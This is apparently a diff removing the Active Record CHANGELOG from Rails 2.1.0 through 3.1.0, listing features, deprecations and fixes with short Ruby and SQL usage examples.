-* Active Record's dynamic finder will now raise the error if you passing in less number of arguments than what you call in method signature.
-
- So if you were doing this and expecting the second argument to be nil:
-
- User.find_by_username_and_group("sikachu")
-
- You'll now get `ArgumentError: wrong number of arguments (1 for 2).` You'll then have to do this:
-
- User.find_by_username_and_group("sikachu", nil)
-
- [Prem Sichanugrist]
-
-*Rails 3.1.0 (unreleased)*
-
-* Add a proxy_association method to association proxies, which can be called by association
- extensions to access information about the association. This replaces proxy_owner etc with
- proxy_association.owner.
-
- [Jon Leighton]
-
-* ActiveRecord::MacroReflection::AssociationReflection#build_record has a new method signature.
-
- Before: def build_association(*options)
- After: def build_association(*options, &block)
-
- Users who are redefining this method to extend functionality should ensure that the block is
- passed through to ActiveRecord::Base#new.
-
- This change is necessary to fix https://github.com/rails/rails/issues/1842.
-
- [Jon Leighton]
-
-* AR#pluralize_table_names can be used to singularize/pluralize table name of an individual model:
-
- class User < ActiveRecord::Base
- self.pluralize_table_names = false
- end
-
- Previously this could only be set globally for all models through ActiveRecord::Base.pluralize_table_names. [Guillermo Iguaran]
-
-* Add block setting of attributes to singular associations:
-
- class User < ActiveRecord::Base
- has_one :account
- end
-
- user.build_account{ |a| a.credit_limit => 100.0 }
-
- The block is called after the instance has been initialized. [Andrew White]
-
-* Add ActiveRecord::Base.attribute_names to return a list of attribute names. This will return an empty array if the model is abstract or table does not exists. [Prem Sichanugrist]
-
-* CSV Fixtures are deprecated and support will be removed in Rails 3.2.0
-
-* AR#new, AR#create, AR#create!, AR#update_attributes and AR#update_attributes! all accept a second hash as option that allows you
- to specify which role to consider when assigning attributes. This is built on top of ActiveModel's
- new mass assignment capabilities:
-
- class Post < ActiveRecord::Base
- attr_accessible :title
- attr_accessible :title, :published_at, :as => :admin
- end
-
- Post.new(params[:post], :as => :admin)
-
- assign_attributes() with similar API was also added and attributes=(params, guard) was deprecated.
-
- Please note that this changes the method signatures for AR#new, AR#create, AR#create!, AR#update_attributes and AR#update_attributes!. If you have overwritten these methods you should update them accordingly.
-
- [Josh Kalderimis]
-
-* default_scope can take a block, lambda, or any other object which responds to `call` for lazy
- evaluation:
-
- default_scope { ... }
- default_scope lambda { ... }
- default_scope method(:foo)
-
- This feature was originally implemented by Tim Morgan, but was then removed in favour of
- defining a 'default_scope' class method, but has now been added back in by Jon Leighton.
- The relevant lighthouse ticket is #1812.
-
-* Default scopes are now evaluated at the latest possible moment, to avoid problems where
- scopes would be created which would implicitly contain the default scope, which would then
- be impossible to get rid of via Model.unscoped.
-
- Note that this means that if you are inspecting the internal structure of an
- ActiveRecord::Relation, it will *not* contain the default scope, though the resulting
- query will do. You can get a relation containing the default scope by calling
- ActiveRecord#with_default_scope, though this is not part of the public API.
-
- [Jon Leighton]
-
-* If you wish to merge default scopes in special ways, it is recommended to define your default
- scope as a class method and use the standard techniques for sharing code (inheritance, mixins,
- etc.):
-
- class Post < ActiveRecord::Base
- def self.default_scope
- where(:published => true).where(:hidden => false)
- end
- end
-
- [Jon Leighton]
-
-* PostgreSQL adapter only supports PostgreSQL version 8.2 and higher.
-
-* ConnectionManagement middleware is changed to clean up the connection pool
- after the rack body has been flushed.
-
-* Added an update_column method on ActiveRecord. This new method updates a given attribute on an object, skipping validations and callbacks.
- It is recommended to use #update_attribute unless you are sure you do not want to execute any callback, including the modification of
- the updated_at column. It should not be called on new records.
- Example:
-
- User.first.update_column(:name, "sebastian") # => true
-
- [Sebastian Martinez]
-
-* Associations with a :through option can now use *any* association as the
- through or source association, including other associations which have a
- :through option and has_and_belongs_to_many associations
-
- [Jon Leighton]
-
-* The configuration for the current database connection is now accessible via
- ActiveRecord::Base.connection_config. [fxn]
-
-* limits and offsets are removed from COUNT queries unless both are supplied.
- For example:
-
- People.limit(1).count # => 'SELECT COUNT(*) FROM people'
- People.offset(1).count # => 'SELECT COUNT(*) FROM people'
- People.limit(1).offset(1).count # => 'SELECT COUNT(*) FROM people LIMIT 1 OFFSET 1'
-
- [lighthouse #6262]
-
-* ActiveRecord::Associations::AssociationProxy has been split. There is now an Association class
- (and subclasses) which are responsible for operating on associations, and then a separate,
- thin wrapper called CollectionProxy, which proxies collection associations.
-
- This prevents namespace pollution, separates concerns, and will allow further refactorings.
-
- Singular associations (has_one, belongs_to) no longer have a proxy at all. They simply return
- the associated record or nil. This means that you should not use undocumented methods such
- as bob.mother.create - use bob.create_mother instead.
-
- [Jon Leighton]
-
-* Make has_many :through associations work correctly when you build a record and then save it. This
- requires you to set the :inverse_of option on the source reflection on the join model, like so:
-
- class Post < ActiveRecord::Base
- has_many :taggings
- has_many :tags, :through => :taggings
- end
-
- class Tagging < ActiveRecord::Base
- belongs_to :post
- belongs_to :tag, :inverse_of => :tagging # :inverse_of must be set!
- end
-
- class Tag < ActiveRecord::Base
- has_many :taggings
- has_many :posts, :through => :taggings
- end
-
- post = Post.first
- tag = post.tags.build :name => "ruby"
- tag.save # will save a Taggable linking to the post
-
- [Jon Leighton]
-
-* Support the :dependent option on has_many :through associations. For historical and practical
- reasons, :delete_all is the default deletion strategy employed by association.delete(*records),
- despite the fact that the default strategy is :nullify for regular has_many. Also, this only
- works at all if the source reflection is a belongs_to. For other situations, you should directly
- modify the through association.
-
- [Jon Leighton]
-
-* Changed the behaviour of association.destroy for has_and_belongs_to_many and has_many :through.
- From now on, 'destroy' or 'delete' on an association will be taken to mean 'get rid of the link',
- not (necessarily) 'get rid of the associated records'.
-
- Previously, has_and_belongs_to_many.destroy(*records) would destroy the records themselves. It
- would not delete any records in the join table. Now, it deletes the records in the join table.
-
- Previously, has_many_through.destroy(*records) would destroy the records themselves, and the
- records in the join table. [Note: This has not always been the case; previous version of Rails
- only deleted the records themselves.] Now, it destroys only the records in the join table.
-
- Note that this change is backwards-incompatible to an extent, but there is unfortunately no
- way to 'deprecate' it before changing it. The change is being made in order to have
- consistency as to the meaning of 'destroy' or 'delete' across the different types of associations.
-
- If you wish to destroy the records themselves, you can do records.association.each(&:destroy)
-
- [Jon Leighton]
-
-* Add :bulk => true option to change_table to make all the schema changes defined in change_table block using a single ALTER statement. [Pratik Naik]
-
- Example:
-
- change_table(:users, :bulk => true) do |t|
- t.string :company_name
- t.change :birthdate, :datetime
- end
-
- This will now result in:
-
- ALTER TABLE `users` ADD COLUMN `company_name` varchar(255), CHANGE `updated_at` `updated_at` datetime DEFAULT NULL
-
-* Removed support for accessing attributes on a has_and_belongs_to_many join table. This has been
- documented as deprecated behaviour since April 2006. Please use has_many :through instead.
- [Jon Leighton]
-
-* Added a create_association! method for has_one and belongs_to associations. [Jon Leighton]
-
-* Migration files generated from model and constructive migration generators
- (for example, add_name_to_users) use the reversible migration's `change`
- method instead of the ordinary `up` and `down` methods. [Prem Sichanugrist]
-
-* Removed support for interpolating string SQL conditions on associations. Instead, you should
- use a proc, like so:
-
- Before:
-
- has_many :things, :conditions => 'foo = #{bar}'
-
- After:
-
- has_many :things, :conditions => proc { "foo = #{bar}" }
-
- Inside the proc, 'self' is the object which is the owner of the association, unless you are
- eager loading the association, in which case 'self' is the class which the association is within.
-
- You can have any "normal" conditions inside the proc, so the following will work too:
-
- has_many :things, :conditions => proc { ["foo = ?", bar] }
-
- Previously :insert_sql and :delete_sql on has_and_belongs_to_many association allowed you to call
- 'record' to get the record being inserted or deleted. This is now passed as an argument to
- the proc.
-
-* Added ActiveRecord::Base#has_secure_password (via ActiveModel::SecurePassword) to encapsulate dead-simple password usage with BCrypt encryption and salting [DHH]. Example:
-
- # Schema: User(name:string, password_digest:string, password_salt:string)
- class User < ActiveRecord::Base
- has_secure_password
- end
-
- user = User.new(:name => "david", :password => "", :password_confirmation => "nomatch")
- user.save # => false, password required
- user.password = "mUc3m00RsqyRe"
- user.save # => false, confirmation doesn't match
- user.password_confirmation = "mUc3m00RsqyRe"
- user.save # => true
- user.authenticate("notright") # => false
- user.authenticate("mUc3m00RsqyRe") # => user
- User.find_by_name("david").try(:authenticate, "notright") # => nil
- User.find_by_name("david").try(:authenticate, "mUc3m00RsqyRe") # => user
-
-
-* When a model is generated add_index is added by default for belongs_to or references columns
-
- rails g model post user:belongs_to will generate the following:
-
- class CreatePosts < ActiveRecord::Migration
- def up
- create_table :posts do |t|
- t.belongs_to :user
- t.timestamps
- end
-
- add_index :posts, :user_id
- end
-
- def down
- drop_table :posts
- end
- end
-
- [Santiago Pastorino]
-
-* Setting the id of a belongs_to object will update the reference to the
-object. [#2989 state:resolved]
-
-* ActiveRecord::Base#dup and ActiveRecord::Base#clone semantics have changed
-to closer match normal Ruby dup and clone semantics.
-
-* Calling ActiveRecord::Base#clone will result in a shallow copy of the record,
-including copying the frozen state. No callbacks will be called.
-
-* Calling ActiveRecord::Base#dup will duplicate the record, including calling
-after initialize hooks. Frozen state will not be copied, and all associations
-will be cleared. A duped record will return true for new_record?, have a nil
-id field, and is saveable.
-
-* Migrations can be defined as reversible, meaning that the migration system
-will figure out how to reverse your migration. To use reversible migrations,
-just define the "change" method. For example:
-
- class MyMigration < ActiveRecord::Migration
- def change
- create_table(:horses) do
- t.column :content, :text
- t.column :remind_at, :datetime
- end
- end
- end
-
-Some things cannot be automatically reversed for you. If you know how to
-reverse those things, you should define 'up' and 'down' in your migration. If
-you define something in `change` that cannot be reversed, an
-IrreversibleMigration exception will be raised when going down.
-
-* Migrations should use instance methods rather than class methods:
- class FooMigration < ActiveRecord::Migration
- def up
- ...
- end
- end
-
- [Aaron Patterson]
-
-* has_one maintains the association with separate after_create/after_update instead
- of a single after_save. [fxn]
-
-* The following code:
-
- Model.limit(10).scoping { Model.count }
-
- now generates the following SQL:
-
- SELECT COUNT(*) FROM models LIMIT 10
-
- This may not return what you want. Instead, you may with to do something
- like this:
-
- Model.limit(10).scoping { Model.all.size }
-
- [Aaron Patterson]
-
-
-*Rails 3.0.7 (April 18, 2011)*
-
-* Destroying records via nested attributes works independent of reject_if LH #6006 [Durran Jordan]
-
-* Delegate any? and many? to Model.scoped for consistency [Andrew White]
-
-* Quote the ORDER BY clause in batched finds - fixes #6620 [Andrew White]
-
-* Change exists? so records are not instantiated - fixes #6127. This prevents after_find
- and after_initialize callbacks being triggered when checking for record existence.
- [Andrew White]
-
-* Fix performance bug with attribute accessors which only occurred on Ruby 1.8.7, and ensure we
- cache type-casted values when the column returned from the db contains non-standard chars.
- [Jon Leighton]
-
-* Fix a performance regression introduced here 86acbf1cc050c8fa8c74a10c735e467fb6fd7df8
- related to read_attribute method [Stian Grytøyr]
-
-
-*Rails 3.0.6 (April 5, 2011)*
-
-* Un-deprecate reorder method [Sebastian Martinez]
-
-* Extensions are applied when calling +except+ or +only+ on relations.
- Thanks to Iain Hecker.
-
-* Schemas set in set_table_name are respected by the mysql adapter. LH #5322
-
-* Fixed a bug when empty? was called on a grouped Relation that wasn't loaded.
- LH #5829
-
-* Reapply extensions when using except and only. Thanks Iain Hecker.
-
-* Binary data is escaped when being inserted to SQLite3 Databases. Thanks
- Naruse!
-
-
-*Rails 3.0.5 (February 26, 2011)*
-
-* Model.where(:column => 1).where(:column => 2) will always produce an AND
-query.
-
- [Aaron Patterson]
-
-* Deprecated support for interpolated association conditions in the form of :conditions => 'foo = #{bar}'.
-
- Instead, you should use a proc, like so:
-
- Before:
-
- has_many :things, :conditions => 'foo = #{bar}'
-
- After:
-
- has_many :things, :conditions => proc { "foo = #{bar}" }
-
- Inside the proc, 'self' is the object which is the owner of the association, unless you are
- eager loading the association, in which case 'self' is the class which the association is within.
-
- You can have any "normal" conditions inside the proc, so the following will work too:
-
- has_many :things, :conditions => proc { ["foo = ?", bar] }
-
- Previously :insert_sql and :delete_sql on has_and_belongs_to_many association allowed you to call
- 'record' to get the record being inserted or deleted. This is now passed as an argument to
- the proc.
-
- [Jon Leighton]
-
-
-*Rails 3.0.4 (February 8, 2011)*
-
-* Added deprecation warning for has_and_belongs_to_many associations where the join table has
- additional attributes other than the keys. Access to these attributes is removed in 3.1.
- Please use has_many :through instead. [Jon Leighton]
-
-
-*Rails 3.0.3 (November 16, 2010)*
-
-* Support find by class like this: Post.where(:name => Post)
-
-
-*Rails 3.0.2 (November 15, 2010)*
-
-* Dramatic speed increase (see: http://engineering.attinteractive.com/2010/10/arel-two-point-ohhhhh-yaaaaaa/) [Aaron Patterson]
-
-* reorder is deprecated in favor of except(:order).order(...) [Santiago Pastorino]
-
-* except is now AR public API
-
- Model.order('name').except(:order).order('salary')
-
- generates:
-
- SELECT * FROM models ORDER BY salary
-
- [Santiago Pastorino]
-
-* The following code:
-
- Model.limit(10).scoping { Model.count }
-
- now generates the following SQL:
-
- SELECT COUNT(*) FROM models LIMIT 10
-
- This may not return what you want. Instead, you may with to do something
- like this:
-
- Model.limit(10).scoping { Model.all.size }
-
- [Aaron Patterson]
-
-
-*Rails 3.0.1 (October 15, 2010)*
-
-* Introduce a fix for CVE-2010-3993
-
-
-*Rails 3.0.0 (August 29, 2010)*
-
-* Changed update_attribute to not run callbacks and update the record directly in the database [Neeraj Singh]
-
-* Add scoping and unscoped as the syntax to replace the old with_scope and with_exclusive_scope [José Valim]
-
-* New rake task, db:migrate:status, displays status of migrations #4947 [Kevin Skoglund]
-
-* select and order for ActiveRecord now always concatenate nested calls. Use reorder if you want the original order to be overwritten [Santiago Pastorino]
-
-* PostgreSQL: ensure the database time zone matches Ruby's time zone #4895 [Aaron Patterson]
-
-* Fixed that ActiveRecord::Base.compute_type would swallow NoMethodError #4751 [Andrew Bloomgarden, Andrew White]
-
-* Add index length support for MySQL. #1852 [Emili Parreno, Pratik Naik]
-
- Example:
-
- add_index(:accounts, :name, :name => 'by_name', :length => 10)
- => CREATE INDEX by_name ON accounts(name(10))
-
- add_index(:accounts, [:name, :surname], :name => 'by_name_surname', :length => {:name => 10, :surname => 15})
- => CREATE INDEX by_name_surname ON accounts(name(10), surname(15))
-
-* find_or_create_by_attr(value, ...) works when attr is protected. #4457 [Santiago Pastorino, Marc-André Lafortune]
-
-* New callbacks: after_commit and after_rollback. Do expensive operations like image thumbnailing after_commit instead of after_save. #2991 [Brian Durand]
-
-* Serialized attributes are not converted to YAML if they are any of the formats that can be serialized to XML (like Hash, Array and Strings). [José Valim]
-
-* Destroy uses optimistic locking. If lock_version on the record you're destroying doesn't match lock_version in the database, a StaleObjectError is raised. #1966 [Curtis Hawthorne]
-
-* PostgreSQL: drop support for old postgres driver. Use pg 0.9.0 or later. [Jeremy Kemper]
-
-* Observers can prevent records from saving by returning false, just like before_save and friends. #4087 [Mislav Marohnić]
-
-* Add Relation extensions. [Pratik Naik]
-
- users = User.where(:admin => true).extending(User::AdminPowers)
-
- latest_users = User.order('created_at DESC') do
- def posts_count
- Post.count(:user_id => to_a.map(&:id))
- end
- end
-
-* To prefix the table names of all models in a module, define self.table_name_prefix on the module. #4032 [Andrew White]
-
-* Silenced "SHOW FIELDS" and "SET SQL_AUTO_IS_NULL=0" statements from the MySQL driver to improve log signal to noise ration in development [DHH]
-
-* PostgreSQLAdapter: set time_zone to UTC when Base.default_timezone == :utc so that Postgres doesn't incorrectly offset-adjust values inserted into TIMESTAMP WITH TIME ZONE columns. #3777 [Jack Christensen]
-
-* Allow relations to be used as scope.
-
- class Item
- scope :red, where(:colour => 'red')
- end
-
- Item.red.limit(10) # Ten red items
-
-* Rename named_scope to scope. [Pratik Naik]
-
-* Changed ActiveRecord::Base.store_full_sti_class to be true by default reflecting the previously announced Rails 3 default [DHH]
-
-* Add Relation#except. [Pratik Naik]
-
- one_red_item = Item.where(:colour => 'red').limit(1)
- all_items = one_red_item.except(:where, :limit)
-
-* Add Relation#delete_all. [Pratik Naik]
-
- Item.where(:colour => 'red').delete_all
-
-* Add Model.having and Relation#having. [Pratik Naik]
-
- Developer.group("salary").having("sum(salary) > 10000").select("salary")
-
-* Add Relation#count. [Pratik Naik]
-
- legends = People.where("age > 100")
- legends.count
- legends.count(:age, :distinct => true)
- legends.select('id').count
-
-* Add Model.readonly and association_collection#readonly finder method. [Pratik Naik]
-
- Post.readonly.to_a # Load all posts in readonly mode
- @user.items.readonly(false).to_a # Load all the user items in writable mode
-
-* Add .lock finder method [Pratik Naik]
-
- User.lock.where(:name => 'lifo').to_a
-
- old_items = Item.where("age > 100")
- old_items.lock.each {|i| .. }
-
-* Add Model.from and association_collection#from finder methods [Pratik Naik]
-
- user = User.scoped
- user.select('*').from('users, items')
-
-* Add relation.destroy_all [Pratik Naik]
-
- old_items = Item.where("age > 100")
- old_items.destroy_all
-
-* Add relation.exists? [Pratik Naik]
-
- red_items = Item.where(:colours => 'red')
- red_items.exists?
- red_items.exists?(1)
-
-* Add find(ids) to relations. [Pratik Naik]
-
- old_users = User.order("age DESC")
- old_users.find(1)
- old_users.find(1, 2, 3)
-
-* Add new finder methods to association collection. [Pratik Naik]
-
- class User < ActiveRecord::Base
- has_many :items
- end
-
- user = User.first
- user.items.where(:items => {:colour => 'red'})
- user.items.select('items.id')
-
-* Add relation.reload to force reloading the records. [Pratik Naik]
-
- topics = Topic.scoped
- topics.to_a # force load
- topics.first # returns a cached record
- topics.reload
- topics.first # Fetches a new record from the database
-
-* Rename Model.conditions and relation.conditions to .where. [Pratik Naik]
-
- Before :
- User.conditions(:name => 'lifo')
- User.select('id').conditions(["age > ?", 21])
-
- Now :
- User.where(:name => 'lifo')
- User.select('id').where(["age > ?", 21])
-
-* Add Model.select/group/order/limit/joins/conditions/preload/eager_load class methods returning a lazy relation. [Pratik Naik]
-
- Examples :
-
- posts = Post.select('id).order('name') # Returns a lazy relation
- posts.each {|p| puts p.id } # Fires "select id from posts order by name"
-
-* Model.scoped now returns a relation if invoked without any arguments. [Pratik Naik]
-
- Example :
-
- posts = Post.scoped
- posts.size # Fires "select count(*) from posts" and returns the count
- posts.each {|p| puts p.name } # Fires "select * from posts" and loads post objects
-
-* Association inverses for belongs_to, has_one, and has_many. Optimization to reduce database queries. #3533 [Murray Steele]
-
- # post.comments sets each comment's post without needing to :include
- class Post < ActiveRecord::Base
- has_many :comments, :inverse_of => :post
- end
-
-* MySQL: add_ and change_column support positioning. #3286 [Ben Marini]
-
-* Reset your Active Record counter caches with the reset_counter_cache class method. #1211 [Mike Breen, Gabe da Silveira]
-
-* Remove support for SQLite 2. Please upgrade to SQLite 3+ or install the plugin from git://github.com/rails/sqlite2_adapter.git [Pratik Naik]
-
-* PostgreSQL: XML datatype support. #1874 [Leonardo Borges]
-
-* quoted_date converts time-like objects to ActiveRecord::Base.default_timezone before serialization. This allows you to use Time.now in find conditions and have it correctly be serialized as the current time in UTC when default_timezone == :utc. #2946 [Geoff Buesing]
-
-* SQLite: drop support for 'dbfile' option in favor of 'database.' #2363 [Paul Hinze, Jeremy Kemper]
-
-* Added :primary_key option to belongs_to associations. #765 [Szymon Nowak, Philip Hallstrom, Noel Rocha]
- # employees.company_name references companies.name
- Employee.belongs_to :company, :primary_key => 'name', :foreign_key => 'company_name'
-
-* Implement #many? for NamedScope and AssociationCollection using #size. #1500 [Chris Kampmeier]
-
-* Added :touch option to belongs_to associations that will touch the parent record when the current record is saved or destroyed [DHH]
-
-* Added ActiveRecord::Base#touch to update the updated_at/on attributes (or another specified timestamp) with the current time [DHH]
-
-
-*2.3.2 [Final] (March 15, 2009)*
-
-* Added ActiveRecord::Base.find_each and ActiveRecord::Base.find_in_batches for batch processing [DHH/Jamis Buck]
-
-* Added that ActiveRecord::Base.exists? can be called with no arguments #1817 [Scott Taylor]
-
-* Add Support for updating deeply nested models from a single form. #1202 [Eloy Duran]
-
- class Book < ActiveRecord::Base
- has_one :author
- has_many :pages
-
- accepts_nested_attributes_for :author, :pages
- end
-
-* Make after_save callbacks fire only if the record was successfully saved. #1735 [Michael Lovitt]
-
- Previously the callbacks would fire if a before_save cancelled saving.
-
-* Support nested transactions using database savepoints. #383 [Jonathan Viney, Hongli Lai]
-
-* Added dynamic scopes ala dynamic finders #1648 [Yaroslav Markin]
-
-* Fixed that ActiveRecord::Base#new_record? should return false (not nil) for existing records #1219 [Yaroslav Markin]
-
-* I18n the word separator for error messages. Introduces the activerecord.errors.format.separator translation key. #1294 [Akira Matsuda]
-
-* Add :having as a key to find and the relevant associations. [Emilio Tagua]
-
-* Added default_scope to Base #1381 [Paweł Kondzior]. Example:
-
- class Person < ActiveRecord::Base
- default_scope :order => 'last_name, first_name'
- end
-
- class Company < ActiveRecord::Base
- has_many :people
- end
-
- Person.all # => Person.find(:all, :order => 'last_name, first_name')
- Company.find(1).people # => Person.find(:all, :order => 'last_name, first_name', :conditions => { :company_id => 1 })
-
-
-*2.2.1 [RC2] (November 14th, 2008)*
-
-* Ensure indices don't flip order in schema.rb #1266 [Jordi Bunster]
-
-* Fixed that serialized strings should never be type-casted (i.e. turning "Yes" to a boolean) #857 [Andreas Korth]
-
-
-*2.2.0 [RC1] (October 24th, 2008)*
-
-* Skip collection ids reader optimization if using :finder_sql [Jeremy Kemper]
-
-* Add Model#delete instance method, similar to Model.delete class method. #1086 [Hongli Lai (Phusion)]
-
-* MySQL: cope with quirky default values for not-null text columns. #1043 [Frederick Cheung]
-
-* Multiparameter attributes skip time zone conversion for time-only columns [#1030 state:resolved] [Geoff Buesing]
-
-* Base.skip_time_zone_conversion_for_attributes uses class_inheritable_accessor, so that subclasses don't overwrite Base [#346 state:resolved] [Emilio Tagua]
-
-* Added find_last_by dynamic finder #762 [Emilio Tagua]
-
-* Internal API: configurable association options and build_association method for reflections so plugins may extend and override. #985 [Hongli Lai (Phusion)]
-
-* Changed benchmarks to be reported in milliseconds [David Heinemeier Hansson]
-
-* Connection pooling. #936 [Nick Sieger]
-
-* Merge scoped :joins together instead of overwriting them. May expose scoping bugs in your code! #501 [Andrew White]
-
-* before_save, before_validation and before_destroy callbacks that return false will now ROLLBACK the transaction. Previously this would have been committed before the processing was aborted. #891 [Xavier Noria]
-
-* Transactional migrations for databases which support them. #834 [divoxx, Adam Wiggins, Tarmo Tänav]
-
-* Set config.active_record.timestamped_migrations = false to have migrations with numeric prefix instead of UTC timestamp. #446. [Andrew Stone, Nik Wakelin]
-
-* change_column_default preserves the not-null constraint. #617 [Tarmo Tänav]
-
-* Fixed that create database statements would always include "DEFAULT NULL" (Nick Sieger) [#334]
-
-* Add :tokenizer option to validates_length_of to specify how to split up the attribute string. #507. [David Lowenfels] Example :
-
- # Ensure essay contains at least 100 words.
- validates_length_of :essay, :minimum => 100, :too_short => "Your essay must be at least %d words."), :tokenizer => lambda {|str| str.scan(/\w+/) }
-
-* Allow conditions on multiple tables to be specified using hash. [Pratik Naik]. Example:
-
- User.all :joins => :items, :conditions => { :age => 10, :items => { :color => 'black' } }
- Item.first :conditions => { :items => { :color => 'red' } }
-
-* Always treat integer :limit as byte length. #420 [Tarmo Tänav]
-
-* Partial updates don't update lock_version if nothing changed. #426 [Daniel Morrison]
-
-* Fix column collision with named_scope and :joins. #46 [Duncan Beevers, Mark Catley]
-
-* db:migrate:down and :up update schema_migrations. #369 [Michael Raidel, RaceCondition]
-
-* PostgreSQL: support :conditions => [':foo::integer', { :foo => 1 }] without treating the ::integer typecast as a bind variable. [Tarmo Tänav]
-
-* MySQL: rename_column preserves column defaults. #466 [Diego Algorta]
-
-* Add :from option to calculations. #397 [Ben Munat]
-
-* Add :validate option to associations to enable/disable the automatic validation of associated models. Resolves #301. [Jan De Poorter]
-
-* PostgreSQL: use 'INSERT ... RETURNING id' for 8.2 and later. [Jeremy Kemper]
-
-* Added SQL escaping for :limit and :offset in MySQL [Jonathan Wiess]
-
-
-*2.1.0 (May 31st, 2008)*
-
-* Add ActiveRecord::Base.sti_name that checks ActiveRecord::Base#store_full_sti_class? and returns either the full or demodulized name. [Rick Olson]
-
-* Add first/last methods to associations/named_scope. Resolved #226. [Ryan Bates]
-
-* Added SQL escaping for :limit and :offset #288 [Aaron Bedra, Steven Bristol, Jonathan Wiess]
-
-* Added first/last methods to associations/named_scope. Resolved #226. [Ryan Bates]
-
-* Ensure hm:t preloading honours reflection options. Resolves #137. [Frederick Cheung]
-
-* Added protection against duplicate migration names (Aslak Hellesøy) [#112]
-
-* Base#instantiate_time_object: eliminate check for Time.zone, since we can assume this is set if time_zone_aware_attributes is set to true [Geoff Buesing]
-
-* Time zone aware attribute methods use Time.zone.parse instead of #to_time for String arguments, so that offset information in String is respected. Resolves #105. [Scott Fleckenstein, Geoff Buesing]
-
-* Added change_table for migrations (Jeff Dean) [#71]. Example:
-
- change_table :videos do |t|
- t.timestamps # adds created_at, updated_at
- t.belongs_to :goat # adds goat_id integer
- t.string :name, :email, :limit => 20 # adds name and email both with a 20 char limit
- t.remove :name, :email # removes the name and email columns
- end
-
-* Fixed has_many :through .create with no parameters caused a "can't dup NilClass" error (Steven Soroka) [#85]
-
-* Added block-setting of attributes for Base.create like Base.new already has (Adam Meehan) [#39]
-
-* Fixed that pessimistic locking you reference the quoted table name (Josh Susser) [#67]
-
-* Fixed that change_column should be able to use :null => true on a field that formerly had false [Nate Wiger] [#26]
-
-* Added that the MySQL adapter should map integer to either smallint, int, or bigint depending on the :limit just like PostgreSQL [David Heinemeier Hansson]
-
-* Change validates_uniqueness_of :case_sensitive option default back to true (from [9160]). Love your database columns, don't LOWER them. [Rick Olson]
-
-* Add support for interleaving migrations by storing which migrations have run in the new schema_migrations table. Closes #11493 [Jordi Bunster]
-
-* ActiveRecord::Base#sum defaults to 0 if no rows are returned. Closes #11550 [Kamal Fariz Mahyuddin]
-
-* Ensure that respond_to? considers dynamic finder methods. Closes #11538. [James Mead]
-
-* Ensure that save on parent object fails for invalid has_one association. Closes #10518. [Pratik Naik]
-
-* Remove duplicate code from associations. [Pratik Naik]
-
-* Refactor HasManyThroughAssociation to inherit from HasManyAssociation. Association callbacks and <association>_ids= now work with hm:t. #11516 [Ruy Asan]
-
-* Ensure HABTM#create and HABTM#build do not load entire association. [Pratik Naik]
-
-* Improve documentation. [Xavier Noria, Jack Danger Canty, leethal]
-
-* Tweak ActiveRecord::Base#to_json to include a root value in the returned hash: {"post": {"title": ...}} [Rick Olson]
-
- Post.find(1).to_json # => {"title": ...}
- config.active_record.include_root_in_json = true
- Post.find(1).to_json # => {"post": {"title": ...}}
-
-* Add efficient #include? to AssociationCollection (for has_many/has_many :through/habtm). [stopdropandrew]
-
-* PostgreSQL: create_ and drop_database support. #9042 [ez, pedz, Nick Sieger]
-
-* Ensure that validates_uniqueness_of works with with_scope. Closes #9235. [Nik Wakelin, cavalle]
-
-* Partial updates include only unsaved attributes. Off by default; set YourClass.partial_updates = true to enable. [Jeremy Kemper]
-
-* Removing unnecessary uses_tzinfo helper from tests, given that TZInfo is now bundled [Geoff Buesing]
-
-* Fixed that validates_size_of :within works in associations #11295, #10019 [cavalle]
-
-* Track changes to unsaved attributes. [Jeremy Kemper]
-
-* Switched to UTC-timebased version numbers for migrations and the schema. This will as good as eliminate the problem of multiple migrations getting the same version assigned in different branches. Also added rake db:migrate:up/down to apply individual migrations that may need to be run when you merge branches #11458 [John Barnette]
-
-* Fixed that has_many :through would ignore the hash conditions #11447 [Emilio Tagua]
-
-* Fix issue where the :uniq option of a has_many :through association is ignored when find(:all) is called. Closes #9407 [cavalle]
-
-* Fix duplicate table alias error when including an association with a has_many :through association on the same join table. Closes #7310 [cavalle]
-
-* More efficient association preloading code that compacts a through_records array in a central location. Closes #11427 [Jack Danger Canty]
-
-* Improve documentation. [Ryan Bigg, Jan De Poorter, Cheah Chu Yeow, Xavier Shay, Jack Danger Canty, Emilio Tagua, Xavier Noria, Sunny Ripert]
-
-* Fixed that ActiveRecord#Base.find_or_create/initialize would not honor attr_protected/accessible when used with a hash #11422 [Emilio Tagua]
-
-* Added ActiveRecord#Base.all/first/last as aliases for find(:all/:first/:last) #11413 [nkallen, Chris O'Sullivan]
-
-* Merge the has_finder gem, renamed as 'named_scope'. #11404 [nkallen]
-
- class Article < ActiveRecord::Base
- named_scope :published, :conditions => {:published => true}
- named_scope :popular, :conditions => ...
- end
-
- Article.published.paginate(:page => 1)
- Article.published.popular.count
- Article.popular.find(:first)
- Article.popular.find(:all, :conditions => {...})
-
- See http://pivots.pivotallabs.com/users/nick/blog/articles/284-hasfinder-it-s-now-easier-than-ever-to-create-complex-re-usable-sql-queries
-
-* Add has_one :through support. #4756 [Chris O'Sullivan]
-
-* Migrations: create_table supports primary_key_prefix_type. #10314 [student, Chris O'Sullivan]
-
-* Added logging for dependency load errors with fixtures #11056 [stuthulhu]
-
-* Time zone aware attributes use Time#in_time_zone [Geoff Buesing]
-
-* Fixed that scoped joins would not always be respected #6821 [Theory/Jack Danger Canty]
-
-* Ensure that ActiveRecord::Calculations disambiguates field names with the table name. #11027 [cavalle]
-
-* Added add/remove_timestamps to the schema statements for adding the created_at/updated_at columns on existing tables #11129 [jramirez]
-
-* Added ActiveRecord::Base.find(:last) #11338 [Emilio Tagua]
-
-* test_native_types expects DateTime.local_offset instead of DateTime.now.offset; fixes test breakage due to dst transition [Geoff Buesing]
-
-* Add :readonly option to HasManyThrough associations. #11156 [Emilio Tagua]
-
-* Improve performance on :include/:conditions/:limit queries by selectively joining in the pre-query. #9560 [dasil003]
-
-* Perf fix: Avoid the use of named block arguments. Closes #11109 [adymo]
-
-* PostgreSQL: support server versions 7.4 through 8.0 and the ruby-pg driver. #11127 [jdavis]
-
-* Ensure association preloading doesn't break when an association returns nil. ##11145 [GMFlash]
-
-* Make dynamic finders respect the :include on HasManyThrough associations. #10998. [cpytel]
-
-* Base#instantiate_time_object only uses Time.zone when Base.time_zone_aware_attributes is true; leverages Time#time_with_datetime_fallback for readability [Geoff Buesing]
-
-* Refactor ConnectionAdapters::Column.new_time: leverage DateTime failover behavior of Time#time_with_datetime_fallback [Geoff Buesing]
-
-* Improve associations performance by using symbol callbacks instead of string callbacks. #11108 [adymo]
-
